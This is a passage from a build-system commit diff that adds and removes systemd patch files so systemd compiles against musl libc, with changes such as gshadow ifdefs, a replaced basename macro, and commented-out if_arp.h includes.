+Signed-off-by: Luca Boccassi <luca.boccassi@microsoft.com>
+---
+ src/shared/user-record-nss.c | 20 ++++++++++++++++++++
+ src/shared/user-record-nss.h | 4 ++++
+ src/shared/userdb.c | 7 ++++++-
+ 3 files changed, 30 insertions(+), 1 deletion(-)
+
+diff --git a/src/shared/user-record-nss.c b/src/shared/user-record-nss.c
+index 414a49331b..1a4e1b628c 100644
+--- a/src/shared/user-record-nss.c
++++ b/src/shared/user-record-nss.c
+@@ -329,8 +329,10 @@ int nss_group_to_group_record(
+ if (isempty(grp->gr_name))
+ return -EINVAL;
+
++#if ENABLE_GSHADOW
+ if (sgrp && !streq_ptr(sgrp->sg_namp, grp->gr_name))
+ return -EINVAL;
++#endif
+
+ g = group_record_new();
+ if (!g)
+@@ -346,6 +348,7 @@ int nss_group_to_group_record(
+
+ g->gid = grp->gr_gid;
+
++#if ENABLE_GSHADOW
+ if (sgrp) {
+ if (looks_like_hashed_password(utf8_only(sgrp->sg_passwd))) {
+ g->hashed_password = strv_new(sgrp->sg_passwd);
+@@ -361,6 +364,7 @@ int nss_group_to_group_record(
+ if (r < 0)
+ return r;
+ }
++#endif
+
+ r = json_build(&g->json, JSON_BUILD_OBJECT(
+ JSON_BUILD_PAIR("groupName", JSON_BUILD_STRING(g->group_name)),
+@@ -387,6 +391,7 @@ int nss_sgrp_for_group(const struct group *grp, struct sgrp *ret_sgrp, char **re
+ assert(ret_sgrp);
+ assert(ret_buffer);
+
++#if ENABLE_GSHADOW
+ for (;;) {
+ _cleanup_free_ char *buf = NULL;
+ struct sgrp sgrp, *result;
+@@ -415,6 +420,9 @@ int nss_sgrp_for_group(const struct group *grp, struct sgrp *ret_sgrp, char **re
+ buflen *= 2;
+ buf = mfree(buf);
+ }
++#else
++ return -ESRCH;
++#endif
+ }
+
+ int nss_group_record_by_name(
+@@ -426,7 +434,9 @@ int nss_group_record_by_name(
+ struct group grp, *result;
+ bool incomplete = false;
+ size_t buflen = 4096;
++#if ENABLE_GSHADOW
+ struct sgrp sgrp, *sresult = NULL;
++#endif
+ int r;
+
+ assert(name);
+@@ -455,6 +465,7 @@ int nss_group_record_by_name(
+ buf = mfree(buf);
+ }
+
++#if ENABLE_GSHADOW
+ if (with_shadow) {
+ r = nss_sgrp_for_group(result, &sgrp, &sbuf);
+ if (r < 0) {
+@@ -466,6 +477,9 @@ int nss_group_record_by_name(
+ incomplete = true;
+
+ r = nss_group_to_group_record(result, sresult, ret);
++#else
++ r = nss_group_to_group_record(result, NULL, ret);
++#endif
+ if (r < 0)
+ return r;
+
+@@ -483,7 +497,9 @@ int nss_group_record_by_gid(
+ struct group grp, *result;
+ bool incomplete = false;
+ size_t buflen = 4096;
++#if ENABLE_GSHADOW
+ struct sgrp sgrp, *sresult = NULL;
++#endif
+ int r;
+
+ for (;;) {
+@@ -509,6 +525,7 @@ int nss_group_record_by_gid(
+ buf = mfree(buf);
+ }
+
++#if ENABLE_GSHADOW
+ if (with_shadow) {
+ r = nss_sgrp_for_group(result, &sgrp, &sbuf);
+ if (r < 0) {
+@@ -520,6 +537,9 @@ int nss_group_record_by_gid(
+ incomplete = true;
+
+ r = nss_group_to_group_record(result, sresult, ret);
++#else
++ r = nss_group_to_group_record(result, NULL, ret);
++#endif
+ if (r < 0)
+ return r;
+
+diff --git a/src/shared/user-record-nss.h b/src/shared/user-record-nss.h
+index 22ab04d6ee..4e52e7a911 100644
+--- a/src/shared/user-record-nss.h
++++ b/src/shared/user-record-nss.h
+@@ -2,7 +2,11 @@
+ #pragma once
+
+ #include <grp.h>
++#if ENABLE_GSHADOW
+ #include <gshadow.h>
++#else
++struct sgrp;
++#endif
+ #include <pwd.h>
+ #include <shadow.h>
+
+diff --git a/src/shared/userdb.c b/src/shared/userdb.c
+index f60d48ace4..e878199a28 100644
+--- a/src/shared/userdb.c
++++ b/src/shared/userdb.c
+@@ -1038,13 +1038,15 @@ int groupdb_iterator_get(UserDBIterator *iterator, GroupRecord **ret) {
+ if (gr) {
+ _cleanup_free_ char *buffer = NULL;
+ bool incomplete = false;
++#if ENABLE_GSHADOW
+ struct sgrp sgrp;
+-
++#endif
+ if (streq_ptr(gr->gr_name, "root"))
+ iterator->synthesize_root = false;
+ if (gr->gr_gid == GID_NOBODY)
+ iterator->synthesize_nobody = false;
+
++#if ENABLE_GSHADOW
+ if (!FLAGS_SET(iterator->flags, USERDB_SUPPRESS_SHADOW)) {
+ r = nss_sgrp_for_group(gr, &sgrp, &buffer);
+ if (r < 0) {
+@@ -1057,6 +1059,9 @@ int groupdb_iterator_get(UserDBIterator *iterator, GroupRecord **ret) {
+ }
+
+ r = nss_group_to_group_record(gr, r >= 0 ? &sgrp : NULL, ret);
++#else
++ r = nss_group_to_group_record(gr, NULL, ret);
++#endif
+ if (r < 0)
+ return r;
+
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0014-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch b/meta/recipes-core/systemd/systemd/0014-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch
deleted file mode 100644
index 049096d2a9..0000000000
--- a/meta/recipes-core/systemd/systemd/0014-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From 62fac5e3ff0fccd329cdc49605258b6d0e573a3e Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Wed, 28 Feb 2018 21:25:22 -0800
-Subject: [PATCH] test-sizeof.c: Disable tests for missing typedefs in musl
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/test/test-sizeof.c | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/src/test/test-sizeof.c b/src/test/test-sizeof.c
-index 1020e0cb3153..c65062d2562c 100644
---- a/src/test/test-sizeof.c
-+++ b/src/test/test-sizeof.c
-@@ -44,8 +44,10 @@ int main(void) {
- info(unsigned);
- info(long unsigned);
- info(long long unsigned);
-+#ifdef __GLIBC__
- info(__syscall_ulong_t);
- info(__syscall_slong_t);
-+#endif
-
- info(float);
- info(double);
-@@ -63,7 +65,9 @@ int main(void) {
- info(ssize_t);
- info(time_t);
- info(usec_t);
-+#ifdef __GLIBC__
- info(__time_t);
-+#endif
- info(pid_t);
- info(uid_t);
- info(gid_t);
diff --git a/meta/recipes-core/systemd/systemd/0015-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch b/meta/recipes-core/systemd/systemd/0015-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch
deleted file mode 100644
index 0a7594c068..0000000000
--- a/meta/recipes-core/systemd/systemd/0015-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch
+++ /dev/null
@@ -1,97 +0,0 @@
-From e6f871078d8d6f076c84f908fa57af15417ab87d Mon Sep 17 00:00:00 2001
-From: Andre McCurdy <armccurdy@gmail.com>
-Date: Tue, 10 Oct 2017 14:33:30 -0700
-Subject: [PATCH] don't pass AT_SYMLINK_NOFOLLOW flag to faccessat()
-
-Avoid using AT_SYMLINK_NOFOLLOW flag. It doesn't seem like the right
-thing to do and it's not portable (not supported by musl). See:
-
- http://lists.landley.net/pipermail/toybox-landley.net/2014-September/003610.html
- http://www.openwall.com/lists/musl/2015/02/05/2
-
-Note that laccess() is never passing AT_EACCESS so a lot of the
-discussion in the links above doesn't apply. Note also that
-(currently) all systemd callers of laccess() pass mode as F_OK, so
-only check for existence of a file, not access permissions.
-Therefore, in this case, the only distiction between faccessat()
-with (flag == 0) and (flag == AT_SYMLINK_NOFOLLOW) is the behaviour
-for broken symlinks; laccess() on a broken symlink will succeed with
-(flag == AT_SYMLINK_NOFOLLOW) and fail (flag == 0).
-
-The laccess() macros was added to systemd some time ago and it's not
-clear if or why it needs to return success for broken symlinks. Maybe
-just historical and not actually necessary or desired behaviour?
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
-
----
- src/basic/fs-util.h | 22 +++++++++++++++++++++-
- src/shared/base-filesystem.c | 6 +++---
- 2 files changed, 24 insertions(+), 4 deletions(-)
-
-Index: systemd-stable/src/basic/fs-util.h
-===================================================================
---- systemd-stable.orig/src/basic/fs-util.h
-+++ systemd-stable/src/basic/fs-util.h
-@@ -42,7 +42,27 @@ int fchmod_opath(int fd, mode_t m);
- int fd_warn_permissions(const char *path, int fd);
- int stat_warn_permissions(const char *path, const struct stat *st);
-
--#define laccess(path, mode) faccessat(AT_FDCWD, (path), (mode), AT_SYMLINK_NOFOLLOW)
-+/*
-+ Avoid using AT_SYMLINK_NOFOLLOW flag. It doesn't seem like the right thing to
-+ do and it's not portable (not supported by musl). See:
-+
-+ http://lists.landley.net/pipermail/toybox-landley.net/2014-September/003610.html
-+ http://www.openwall.com/lists/musl/2015/02/05/2
-+
-+ Note that laccess() is never passing AT_EACCESS so a lot of the discussion in
-+ the links above doesn't apply. Note also that (currently) all systemd callers
-+ of laccess() pass mode as F_OK, so only check for existence of a file, not
-+ access permissions. Therefore, in this case, the only distiction between
-+ faccessat() with (flag == 0) and (flag == AT_SYMLINK_NOFOLLOW) is the
-+ behaviour for broken symlinks; laccess() on a broken symlink will succeed
-+ with (flag == AT_SYMLINK_NOFOLLOW) and fail (flag == 0).
-+
-+ The laccess() macros was added to systemd some time ago and it's not clear if
-+ or why it needs to return success for broken symlinks. Maybe just historical
-+ and not actually necessary or desired behaviour?
-+*/
-+
-+#define laccess(path, mode) faccessat(AT_FDCWD, (path), (mode), 0)
-
- int touch_file(const char *path, bool parents, usec_t stamp, uid_t uid, gid_t gid, mode_t mode);
- int touch(const char *path);
-Index: systemd-stable/src/shared/base-filesystem.c
-===================================================================
---- systemd-stable.orig/src/shared/base-filesystem.c
-+++ systemd-stable/src/shared/base-filesystem.c
-@@ -54,7 +54,7 @@ int base_filesystem_create(const char *r
- return log_error_errno(errno, "Failed to open root file system: %m");
-
- for (i = 0; i < ELEMENTSOF(table); i ++) {
-- if (faccessat(fd, table[i].dir, F_OK, AT_SYMLINK_NOFOLLOW) >= 0)
-+ if (faccessat(fd, table[i].dir, F_OK, 0) >= 0)
- continue;
-
- if (table[i].target) {
-@@ -62,7 +62,7 @@ int base_filesystem_create(const char *r
-
- /* check if one of the targets exists */
- NULSTR_FOREACH(s, table[i].target) {
-- if (faccessat(fd, s, F_OK, AT_SYMLINK_NOFOLLOW) < 0)
-+ if (faccessat(fd, s, F_OK, 0) < 0)
- continue;
-
- /* check if a specific file exists at the target path */
-@@ -73,7 +73,7 @@ int base_filesystem_create(const char *r
- if (!p)
- return log_oom();
-
-- if (faccessat(fd, p, F_OK, AT_SYMLINK_NOFOLLOW) < 0)
-+ if (faccessat(fd, p, F_OK, 0) < 0)
- continue;
- }
-
diff --git a/meta/recipes-core/systemd/systemd/0015-missing_syscall.h-Define-MIPS-ABI-defines-for-musl.patch b/meta/recipes-core/systemd/systemd/0015-missing_syscall.h-Define-MIPS-ABI-defines-for-musl.patch
new file mode 100644
index 0000000000..e112766a9b
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0015-missing_syscall.h-Define-MIPS-ABI-defines-for-musl.patch
@@ -0,0 +1,49 @@
+From 3dc9d9d410bcce54fddfd94f43f7f77f3aa8e281 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 12 Apr 2021 23:44:53 -0700
+Subject: [PATCH 15/22] missing_syscall.h: Define MIPS ABI defines for musl
+
+musl does not define _MIPS_SIM_ABI32, _MIPS_SIM_NABI32, _MIPS_SIM_ABI64
+unlike glibc where these are provided by libc headers, therefore define
+them here in case they are undefined
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/basic/missing_syscall.h | 6 ++++++
+ src/shared/base-filesystem.c | 1 +
+ 2 files changed, 7 insertions(+)
+
+diff --git a/src/basic/missing_syscall.h b/src/basic/missing_syscall.h
+index d795efd8f2..d6729d3c1d 100644
+--- a/src/basic/missing_syscall.h
++++ b/src/basic/missing_syscall.h
+@@ -20,6 +20,12 @@
+ #include <asm/sgidefs.h>
+ #endif
+
++#ifndef _MIPS_SIM_ABI32
++#define _MIPS_SIM_ABI32 1
++#define _MIPS_SIM_NABI32 2
++#define _MIPS_SIM_ABI64 3
++#endif
++
+ #include "macro.h"
+ #include "missing_keyctl.h"
+ #include "missing_stat.h"
+diff --git a/src/shared/base-filesystem.c b/src/shared/base-filesystem.c
+index 7ae921a113..0ef9d1fd39 100644
+--- a/src/shared/base-filesystem.c
++++ b/src/shared/base-filesystem.c
+@@ -20,6 +20,7 @@
+ #include "string-util.h"
+ #include "umask-util.h"
+ #include "user-util.h"
++#include "missing_syscall.h"
+
+ typedef struct BaseFilesystem {
+ const char *dir; /* directory or symlink to create */
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0016-Define-glibc-compatible-basename-for-non-glibc-syste.patch b/meta/recipes-core/systemd/systemd/0016-Define-glibc-compatible-basename-for-non-glibc-syste.patch
deleted file mode 100644
index 67d5041917..0000000000
--- a/meta/recipes-core/systemd/systemd/0016-Define-glibc-compatible-basename-for-non-glibc-syste.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From ec335ef3bb903a7eaf054103cc51411e71e6448c Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 27 May 2018 08:36:44 -0700
-Subject: [PATCH] Define glibc compatible basename() for non-glibc systems
-
-Fixes builds with musl, even though systemd is adamant about
-using non-posix basename implementation, we have a way out
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
----
- src/machine/machine-dbus.c | 5 +++++
- 1 file changed, 5 insertions(+)
-
-Index: systemd-stable/src/machine/machine-dbus.c
-===================================================================
---- systemd-stable.orig/src/machine/machine-dbus.c
-+++ systemd-stable/src/machine/machine-dbus.c
-@@ -11,6 +11,11 @@
- #include <libgen.h>
- #undef basename
-
-+#if !defined(__GLIBC__)
-+#include <string.h>
-+#define basename(src) (strrchr(src,'/') ? strrchr(src,'/')+1 : src)
-+#endif
-+
- #include "alloc-util.h"
- #include "bus-common-errors.h"
- #include "bus-get-properties.h"
diff --git a/meta/recipes-core/systemd/systemd/0016-pass-correct-parameters-to-getdents64.patch b/meta/recipes-core/systemd/systemd/0016-pass-correct-parameters-to-getdents64.patch
new file mode 100644
index 0000000000..0be817e62d
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0016-pass-correct-parameters-to-getdents64.patch
@@ -0,0 +1,37 @@
+From 0994b59dba9f248ad31cb7087046dc00b72cb4ea Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 21 Jan 2022 15:15:11 -0800
+Subject: [PATCH 16/22] pass correct parameters to getdents64
+
+Fixes
+../git/src/basic/recurse-dir.c:57:40: error: incompatible pointer types passing 'uint8_t *' (aka 'unsigned char *') to parameter of type 'struct dirent *' [-Werror,-Wincompatible-pointer-types]
+ n = getdents64(dir_fd, (uint8_t*) de->buffer + de->buffer_size, bs - de->buffer_size);
+ ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+../git/src/basic/stat-util.c:102:28: error: incompatible pointer types passing 'union (unnamed union at ../git/src/basic/stat-util.c:78:9) *' to parameter of type 'struct dirent *' [-Werror,-Wincompatible-pointer-types]
+ n = getdents64(fd, &buffer, sizeof(buffer));
+ ^~~~~~~
+
+Upstream-Status: Inappropriate [musl specific]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Jiaqing Zhao <jiaqing.zhao@linux.intel.com>
+---
+ src/basic/recurse-dir.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/basic/recurse-dir.c b/src/basic/recurse-dir.c
+index 5e98b7a5d8..aef065047b 100644
+--- a/src/basic/recurse-dir.c
++++ b/src/basic/recurse-dir.c
+@@ -55,7 +55,7 @@ int readdir_all(int dir_fd,
+ bs = MIN(MALLOC_SIZEOF_SAFE(de) - offsetof(DirectoryEntries, buffer), (size_t) SSIZE_MAX);
+ assert(bs > de->buffer_size);
+
+- n = getdents64(dir_fd, (uint8_t*) de->buffer + de->buffer_size, bs - de->buffer_size);
++ n = getdents64(dir_fd, (struct dirent*)((uint8_t*) de->buffer + de->buffer_size), bs - de->buffer_size);
+ if (n < 0)
+ return -errno;
+ if (n == 0)
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0017-Adjust-for-musl-headers.patch b/meta/recipes-core/systemd/systemd/0017-Adjust-for-musl-headers.patch
new file mode 100644
index 0000000000..4176522a1c
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0017-Adjust-for-musl-headers.patch
@@ -0,0 +1,572 @@
+From 3c094d443ca30f19114392fd8ef274af6eabc12d Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 21 Jan 2022 22:19:37 -0800
+Subject: [PATCH 17/22] Adjust for musl headers
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+[Rebased for v255.1]
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ src/libsystemd-network/sd-dhcp6-client.c | 2 +-
+ src/network/netdev/bareudp.c | 2 +-
+ src/network/netdev/batadv.c | 2 +-
+ src/network/netdev/bond.c | 2 +-
+ src/network/netdev/bridge.c | 2 +-
+ src/network/netdev/dummy.c | 2 +-
+ src/network/netdev/geneve.c | 2 +-
+ src/network/netdev/ifb.c | 2 +-
+ src/network/netdev/ipoib.c | 2 +-
+ src/network/netdev/ipvlan.c | 2 +-
+ src/network/netdev/macsec.c | 2 +-
+ src/network/netdev/macvlan.c | 2 +-
+ src/network/netdev/netdev.c | 2 +-
+ src/network/netdev/netdevsim.c | 2 +-
+ src/network/netdev/nlmon.c | 2 +-
+ src/network/netdev/tunnel.c | 2 +-
+ src/network/netdev/vcan.c | 2 +-
+ src/network/netdev/veth.c | 2 +-
+ src/network/netdev/vlan.c | 2 +-
+ src/network/netdev/vrf.c | 2 +-
+ src/network/netdev/vxcan.c | 2 +-
+ src/network/netdev/vxlan.c | 2 +-
+ src/network/netdev/wireguard.c | 2 +-
+ src/network/netdev/xfrm.c | 2 +-
+ src/network/networkd-bridge-mdb.c | 4 ++--
+ src/network/networkd-dhcp-common.c | 3 ++-
+ src/network/networkd-dhcp-prefix-delegation.c | 3 ++-
+ src/network/networkd-dhcp-server.c | 2 +-
+ src/network/networkd-dhcp4.c | 2 +-
+ src/network/networkd-ipv6ll.c | 2 +-
+ src/network/networkd-link.c | 2 +-
+ src/network/networkd-ndisc.c | 2 +-
+ src/network/networkd-route.c | 8 ++++----
+ src/network/networkd-setlink.c | 2 +-
+ src/network/networkd-sysctl.c | 2 +-
+ src/shared/linux/ethtool.h | 3 ++-
+ src/shared/netif-util.c | 2 +-
+ src/udev/udev-builtin-net_id.c | 2 +-
+ 38 files changed, 45 insertions(+), 42 deletions(-)
+
+diff --git a/src/libsystemd-network/sd-dhcp6-client.c b/src/libsystemd-network/sd-dhcp6-client.c
+index c20367dfc9..b8d4cd8c2a 100644
+--- a/src/libsystemd-network/sd-dhcp6-client.c
++++ b/src/libsystemd-network/sd-dhcp6-client.c
+@@ -5,7 +5,7 @@
+
+ #include <errno.h>
+ #include <sys/ioctl.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/if_infiniband.h>
+
+ #include "sd-dhcp6-client.h"
+diff --git a/src/network/netdev/bareudp.c b/src/network/netdev/bareudp.c
+index 1df886573b..c8b6714726 100644
+--- a/src/network/netdev/bareudp.c
++++ b/src/network/netdev/bareudp.c
+@@ -2,7 +2,7 @@
+ * Copyright © 2020 VMware, Inc. */
+
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "bareudp.h"
+ #include "netlink-util.h"
+diff --git a/src/network/netdev/batadv.c b/src/network/netdev/batadv.c
+index 26da0231d4..2e8002af8c 100644
+--- a/src/network/netdev/batadv.c
++++ b/src/network/netdev/batadv.c
+@@ -3,7 +3,7 @@
+ #include <inttypes.h>
+ #include <netinet/in.h>
+ #include <linux/genetlink.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "batadv.h"
+ #include "fileio.h"
+diff --git a/src/network/netdev/bond.c b/src/network/netdev/bond.c
+index 4d75a0d6bf..985b3197e0 100644
+--- a/src/network/netdev/bond.c
++++ b/src/network/netdev/bond.c
+@@ -1,7 +1,7 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "alloc-util.h"
+ #include "bond.h"
+diff --git a/src/network/netdev/bridge.c b/src/network/netdev/bridge.c
+index 3e394edadf..f12f667687 100644
+--- a/src/network/netdev/bridge.c
++++ b/src/network/netdev/bridge.c
+@@ -2,7 +2,7 @@
+
+ #include <net/if.h>
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/if_bridge.h>
+
+ #include "bridge.h"
+diff --git a/src/network/netdev/dummy.c b/src/network/netdev/dummy.c
+index 00df1d2787..77b506b422 100644
+--- a/src/network/netdev/dummy.c
++++ b/src/network/netdev/dummy.c
+@@ -1,6 +1,6 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "dummy.h"
+
+diff --git a/src/network/netdev/geneve.c b/src/network/netdev/geneve.c
+index bc655ec7ff..a77e8e17e4 100644
+--- a/src/network/netdev/geneve.c
++++ b/src/network/netdev/geneve.c
+@@ -2,7 +2,7 @@
+
+ #include <net/if.h>
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "alloc-util.h"
+ #include "conf-parser.h"
+diff --git a/src/network/netdev/ifb.c b/src/network/netdev/ifb.c
+index d7ff44cb9e..e037629ae4 100644
+--- a/src/network/netdev/ifb.c
++++ b/src/network/netdev/ifb.c
+@@ -1,7 +1,7 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later
+ * Copyright © 2019 VMware, Inc. */
+
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "ifb.h"
+
+diff --git a/src/network/netdev/ipoib.c b/src/network/netdev/ipoib.c
+index d5fe299b7b..c9c8002eac 100644
+--- a/src/network/netdev/ipoib.c
++++ b/src/network/netdev/ipoib.c
+@@ -1,6 +1,6 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/if_link.h>
+
+ #include "ipoib.h"
+diff --git a/src/network/netdev/ipvlan.c b/src/network/netdev/ipvlan.c
+index 05d5d010f6..d440f49537 100644
+--- a/src/network/netdev/ipvlan.c
++++ b/src/network/netdev/ipvlan.c
+@@ -2,7 +2,7 @@
+
+ #include <net/if.h>
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "conf-parser.h"
+ #include "ipvlan.h"
+diff --git a/src/network/netdev/macsec.c b/src/network/netdev/macsec.c
+index 17d6acefb6..679d0984f9 100644
+--- a/src/network/netdev/macsec.c
++++ b/src/network/netdev/macsec.c
+@@ -1,7 +1,7 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/if_ether.h>
+ #include <linux/if_macsec.h>
+ #include <linux/genetlink.h>
+diff --git a/src/network/netdev/macvlan.c b/src/network/netdev/macvlan.c
+index 203807e3a5..8ab09a387e 100644
+--- a/src/network/netdev/macvlan.c
++++ b/src/network/netdev/macvlan.c
+@@ -2,7 +2,7 @@
+
+ #include <net/if.h>
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "conf-parser.h"
+ #include "macvlan.h"
+diff --git a/src/network/netdev/netdev.c b/src/network/netdev/netdev.c
+index 57127a861a..7f787d0b9f 100644
+--- a/src/network/netdev/netdev.c
++++ b/src/network/netdev/netdev.c
+@@ -2,7 +2,7 @@
+
+ #include <net/if.h>
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <unistd.h>
+
+ #include "alloc-util.h"
+diff --git a/src/network/netdev/netdevsim.c b/src/network/netdev/netdevsim.c
+index 15d5c132f9..a3ffa48b15 100644
+--- a/src/network/netdev/netdevsim.c
++++ b/src/network/netdev/netdevsim.c
+@@ -1,6 +1,6 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "netdevsim.h"
+
+diff --git a/src/network/netdev/nlmon.c b/src/network/netdev/nlmon.c
+index ff372092e6..eef66811f4 100644
+--- a/src/network/netdev/nlmon.c
++++ b/src/network/netdev/nlmon.c
+@@ -1,6 +1,6 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "nlmon.h"
+
+diff --git a/src/network/netdev/tunnel.c b/src/network/netdev/tunnel.c
+index db84e7cf6e..93d5642962 100644
+--- a/src/network/netdev/tunnel.c
++++ b/src/network/netdev/tunnel.c
+@@ -2,7 +2,7 @@
+
+ #include <netinet/in.h>
+ #include <linux/fou.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/if_tunnel.h>
+ #include <linux/ip.h>
+ #include <linux/ip6_tunnel.h>
+diff --git a/src/network/netdev/vcan.c b/src/network/netdev/vcan.c
+index 380547ee1e..137c1adf8a 100644
+--- a/src/network/netdev/vcan.c
++++ b/src/network/netdev/vcan.c
+@@ -1,6 +1,6 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "vcan.h"
+
+diff --git a/src/network/netdev/veth.c b/src/network/netdev/veth.c
+index e0f5b4ebb1..8a424ed03d 100644
+--- a/src/network/netdev/veth.c
++++ b/src/network/netdev/veth.c
+@@ -3,7 +3,7 @@
+ #include <errno.h>
+ #include <net/if.h>
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/veth.h>
+
+ #include "netlink-util.h"
+diff --git a/src/network/netdev/vlan.c b/src/network/netdev/vlan.c
+index 2390206993..efec630e30 100644
+--- a/src/network/netdev/vlan.c
++++ b/src/network/netdev/vlan.c
+@@ -2,7 +2,7 @@
+
+ #include <errno.h>
+ #include <net/if.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/if_vlan.h>
+
+ #include "parse-util.h"
+diff --git a/src/network/netdev/vrf.c b/src/network/netdev/vrf.c
+index b75ec2bcc6..6aeeea640b 100644
+--- a/src/network/netdev/vrf.c
++++ b/src/network/netdev/vrf.c
+@@ -2,7 +2,7 @@
+
+ #include <net/if.h>
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "vrf.h"
+
+diff --git a/src/network/netdev/vxcan.c b/src/network/netdev/vxcan.c
+index c0343f45b6..f9e718f40b 100644
+--- a/src/network/netdev/vxcan.c
++++ b/src/network/netdev/vxcan.c
+@@ -1,7 +1,7 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+ #include <linux/can/vxcan.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "vxcan.h"
+
+diff --git a/src/network/netdev/vxlan.c b/src/network/netdev/vxlan.c
+index b11fdbbd0d..a971a917f0 100644
+--- a/src/network/netdev/vxlan.c
++++ b/src/network/netdev/vxlan.c
+@@ -2,7 +2,7 @@
+
+ #include <net/if.h>
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "conf-parser.h"
+ #include "alloc-util.h"
+diff --git a/src/network/netdev/wireguard.c b/src/network/netdev/wireguard.c
+index 4c7d837c41..6df6dfb816 100644
+--- a/src/network/netdev/wireguard.c
++++ b/src/network/netdev/wireguard.c
+@@ -6,7 +6,7 @@
+ #include <sys/ioctl.h>
+ #include <net/if.h>
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+ #include <linux/ipv6_route.h>
+
+ #include "sd-resolve.h"
+diff --git a/src/network/netdev/xfrm.c b/src/network/netdev/xfrm.c
+index 905bfc0bdf..39e34dbb3b 100644
+--- a/src/network/netdev/xfrm.c
++++ b/src/network/netdev/xfrm.c
+@@ -1,6 +1,6 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <linux/if_arp.h>
++//#include <linux/if_arp.h>
+
+ #include "missing_network.h"
+ #include "xfrm.h"
+diff --git a/src/network/networkd-bridge-mdb.c b/src/network/networkd-bridge-mdb.c
+index bd1a9745dc..949d3da029 100644
+--- a/src/network/networkd-bridge-mdb.c
++++ b/src/network/networkd-bridge-mdb.c
+@@ -1,7 +1,5 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+-#include <net/if.h>
+-#include <linux/if_bridge.h>
+
+ #include "netlink-util.h"
+ #include "networkd-bridge-mdb.h"
+@@ -11,6 +9,8 @@
